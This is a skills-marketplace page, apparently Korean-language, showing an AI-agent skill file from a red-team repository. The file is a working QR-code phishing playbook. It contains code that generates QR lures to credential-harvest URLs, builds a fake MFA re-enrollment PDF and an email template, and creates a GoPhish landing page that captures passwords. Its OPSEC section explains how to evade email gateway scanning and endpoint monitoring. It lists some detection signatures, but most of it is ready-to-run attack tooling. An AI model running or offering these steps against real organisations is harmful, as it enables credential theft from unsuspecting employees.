quishing
QR-code phishing (Quishing) — generate QR lures embedding credential-harvest URLs, embed in PDF or email bodies, bypass email gateway URL scanners that cannot parse QR image payloads.
소스 정보
- 저장소
- BitterSecurity/Decepticon
- 최근 소스 활동
- 2026년 6월 29일 01:38
- 감지된 SKILL.md 언어
- 영어
- 스타
- 5,565
- 포크
- 1,053
설치 방법
기본적으로 소스를 먼저 확인하는 Prompt가 선택됩니다. 직접 명령으로 전환하거나 로컬 사본을 다운로드할 수도 있습니다.
소스 파일 검토
설치 여부를 결정하기 전에 SKILL.md와 SkillsMP에 표시된 보조 파일을 읽어 보세요.
SKILL.md 표시 중
SKILL.md
소스 지침 · 읽기 전용 미리보기- name
- quishing
- description
- QR-code phishing (Quishing) — generate QR lures embedding credential-harvest URLs, embed in PDF or email bodies, bypass email gateway URL scanners that cannot parse QR image payloads.
- allowed-tools
- Bash Read Write
- metadata
- {"subdomain":"phishing","when_to_use":"quishing qr code phishing qr lure credential harvest bypass url scanner qr pdf email attachment evilqr gophish qr","mitre_attack":["T1566.001","T1204.001","T1598.003"],"tags":["phishing","quishing","qr-code","credential-harvest"]}
# QR-Code Phishing (Quishing)
Email gateway URL scanners parse hyperlinks and anchor tags — they
rarely decode QR codes embedded as images. A QR code pointing at a
credential-harvest page survives gateway scanning that would flag the
same URL in plaintext. Quishing is now the primary bypass for
organisations running Proofpoint / Mimecast / Microsoft Defender URL
detonation.
## Prerequisites
- Python `qrcode` + `Pillow` in the sandbox (`pip install qrcode[pil]`).
- GoPhish campaign infrastructure configured (`gophish-campaign`).
- A credential-harvest landing page hosted on a `lookalike-domain`.
- The `lure-deconfliction` handshake COMPLETE for this campaign.
- Optional: EvilQR for dynamic QR payloads with real-time URL rotation.
## Quick Reference
```bash
# Generate a basic QR code pointing at the harvest URL
python3 -c "
import qrcode
img = qrcode.make('https://login.<LURE_DOMAIN>/auth?id={{.RId}}')
img.save('/tmp/qr_lure.png')
"
# Generate with branding (logo overlay, colours)
python3 << 'PYEOF'
import qrcode
from qrcode.image.styledpil import StyledPilImage
from qrcode.image.styles.moduledrawers import RoundedModuleDrawer
from qrcode.image.styles.colormasks import RadialGradiantColorMask
qr = qrcode.QRCode(error_correction=qrcode.constants.ERROR_CORRECT_H)
qr.add_data('https://login.<LURE_DOMAIN>/auth?id={{.RId}}')
img = qr.make_image(
image_factory=StyledPilImage,
module_drawer=RoundedModuleDrawer(),
color_mask=RadialGradiantColorMask(
back_color=(255, 255, 255),
center_color=(0, 51, 153),
edge_color=(0, 102, 204),
),
)
img.save('/tmp/qr_branded.png')
PYEOF
```
## MITRE ATT&CK Mapping
| Technique | ID | Usage |
|---|---|---|
| Phishing: Spearphishing Attachment | T1566.001 | QR code image embedded in PDF / DOCX / email body |
| User Execution: Malicious Link | T1204.001 | Victim scans QR, phone browser opens harvest URL |
| Phishing for Information: Spearphishing Link | T1598.003 | Credential capture page behind the QR URL |
## 1. QR Code Generation
Generate the QR PNG at error-correction level H (30% redundancy) so a
centre logo can overlay up to 30% of modules without breaking decode:
```python
import qrcode
HARVEST_URL = "https://login.<LURE_DOMAIN>/auth?id=<TRACKING_ID>"
qr = qrcode.QRCode(
version=None, # auto-size
error_correction=qrcode.constants.ERROR_CORRECT_H,
box_size=10,
border=4,
)
qr.add_data(HARVEST_URL)
qr.make(fit=True)
img = qr.make_image(fill_color="black", back_color="white")
img.save("/workspace/qr_lure.png")
```
To overlay a corporate logo in the centre (improves trust cues):
```python
from PIL import Image
qr_img = Image.open("/workspace/qr_lure.png").convert("RGBA")
logo = Image.open("/workspace/target_logo.png").resize((60, 60))
pos = ((qr_img.size[0] - logo.size[0]) // 2,
(qr_img.size[1] - logo.size[1]) // 2)
qr_img.paste(logo, pos, logo)
qr_img.save("/workspace/qr_branded.png")
```
## 2. Embedding in PDF
Build a PDF that mimics an IT notice (MFA re-enrollment, password
policy update) with the QR image inline. The PDF body contains no
clickable URL — only the image — so URL scanners see nothing.
```python
from fpdf import FPDF
pdf = FPDF()
pdf.add_page()
pdf.set_font("Helvetica", "B", 16)
pdf.cell(0, 10, "Action Required: MFA Re-Enrollment", ln=True, align="C")
pdf.ln(8)
pdf.set_font("Helvetica", "", 11)
pdf.multi_cell(0, 6,
"Our identity provider requires all employees to re-enroll their "
"MFA token by <DEADLINE>. Scan the QR code below with your mobile "
"device to complete the process.")
pdf.ln(6)
pdf.image("/workspace/qr_branded.png", x=65, w=80)
pdf.ln(6)
pdf.set_font("Helvetica", "I", 9)
pdf.cell(0, 6, "IT Security — Do not forward this document.", align="C")
pdf.output("/workspace/mfa_reenroll.pdf")
```
## 3. Embedding in Email Body (Inline Image)
Attach the QR as an inline CID image so it renders inside the email
body rather than as a downloadable attachment:
```bash
# GoPhish template HTML — embed the QR as a CID-referenced inline image
cat > /workspace/qr_template.html << 'HTML'
<html><body style="font-family:Segoe UI,sans-serif;">
<p>Dear {{.FirstName}},</p>
<p>Please scan the QR code below to verify your account:</p>
<p style="text-align:center;">
<img src="cid:qr_lure" width="200" height="200" alt="QR Code" />
</p>
<p style="font-size:11px;color:#666;">
IT Security Team — <TARGET_ORG><br/>
{{.Tracker}}
</p>
</body></html>
HTML
```
When sending via GoPhish, add the QR PNG as an attachment with
`Content-ID: <qr_lure>` so the CID reference resolves.
## 4. Credential-Harvest Landing Page
The QR resolves to a landing page that clones the target's SSO portal.
GoPhish captures submitted credentials and redirects to the real login:
```bash
# Minimal M365-themed harvest page for GoPhish
curl -sk -H "Authorization: Bearer $GOPHISH_API_KEY" \
-H 'Content-Type: application/json' \
"$GOPHISH_API/pages/" -d '{
"name": "qr-sso-landing",
"html": "<form method=\"POST\"><input name=\"email\" placeholder=\"Email\"/><input name=\"password\" type=\"password\" placeholder=\"Password\"/><button>Sign In</button></form>",
"capture_credentials": true,
"capture_passwords": true,
"redirect_url": "https://login.microsoftonline.com"
}'
```
## 5. EvilQR — Dynamic QR with URL Rotation
EvilQR serves a QR that proxies through a redirector, letting you
rotate the harvest URL without regenerating the QR image:
```bash
# Clone and start EvilQR
git clone https://github.com/nickvdyck/evilqr /opt/evilqr
cd /opt/evilqr
# Configure redirect target
export EVILQR_TARGET="https://login.<LURE_DOMAIN>/auth"
python3 server.py --port 8443 --cert /opt/certs/server.pem
```
Benefit: if the harvest domain is burned mid-campaign, rotate the
backend URL without re-sending the lure.
## OPSEC
- **No plaintext URL in the email body or PDF metadata** — the entire
point is that the URL lives only inside the QR pixel data.
- **Tracking**: append a unique `?id=` per recipient so GoPhish can
attribute scans. Use the GoPhish `{{.RId}}` template variable.
- **Mobile context**: QR scanning happens on the victim's phone, outside
the corporate proxy / EDR. The harvest page MUST be mobile-responsive.
- **PDF metadata**: strip author / creator fields (`exiftool -all= file.pdf`)
before attaching.
- Send rate matches `opsec_level` (stealth ≤2/h, standard ≤20/h).
## Tools & Resources
| Tool | Purpose |
|---|---|
| `qrcode` (Python) | QR image generation with styling |
| `fpdf2` (Python) | PDF creation with embedded images |
| GoPhish | Campaign orchestration, tracking, credential capture |
| EvilQR | Dynamic QR redirector with URL rotation |
| `exiftool` | Strip PDF metadata before delivery |
## Detection Signatures
| Detection | Source | Description |
|---|---|---|
| QR code in email attachment | Proofpoint TAP / Mimecast | Image-based QR decode on inbound mail |
| Mobile OAuth token from unusual geo | Azure AD sign-in logs | Sign-in from mobile IP outside corporate range |
| PDF with no clickable URLs but embedded image | Content inspection | Anomalous PDF structure (image-only, no URI objects) |
| Rapid MFA prompt after QR scan | IdP logs | Credential submission followed by MFA challenge |
## Error Handling & Edge Cases
- **QR too dense**: if the URL exceeds ~2,953 chars the QR version
maxes out. Use a short redirect URL (≤100 chars).
- **Logo too large**: covering >30% of modules breaks decode even at
ERROR_CORRECT_H. Keep the overlay ≤25%.
- **Email gateway decodes QR**: some advanced gateways (Abnormal, Tessian)
now OCR / decode QR in images. Fallback: deliver the PDF as a
password-protected ZIP attachment.
- **Victim has no camera**: include a tiny text link as fallback but
know it will be scanned — weigh the trade-off.
## Decision Gate
```
IF target org uses advanced QR-decode email gateway (Abnormal, Tessian)
→ deliver QR inside a password-protected PDF attachment
→ provide password in a separate email or SMS pretext
ELIF target org uses standard URL-scanning gateway
→ embed QR directly in email body as inline image
ELIF engagement requires maximum stealth
→ use EvilQR dynamic redirector + URL rotation
ELSE
→ standard QR in PDF attachment via GoPhish campaign
```
## Evidence
Captured credentials → `Credential` node linked to the `User` node
with the QR tracking id. Save GoPhish campaign results under
`evidence/phisher/<campaign>-quishing.json`. Record which QR variant
was used (static / EvilQR dynamic) and the mobile user-agent string.
GitHub에서 보기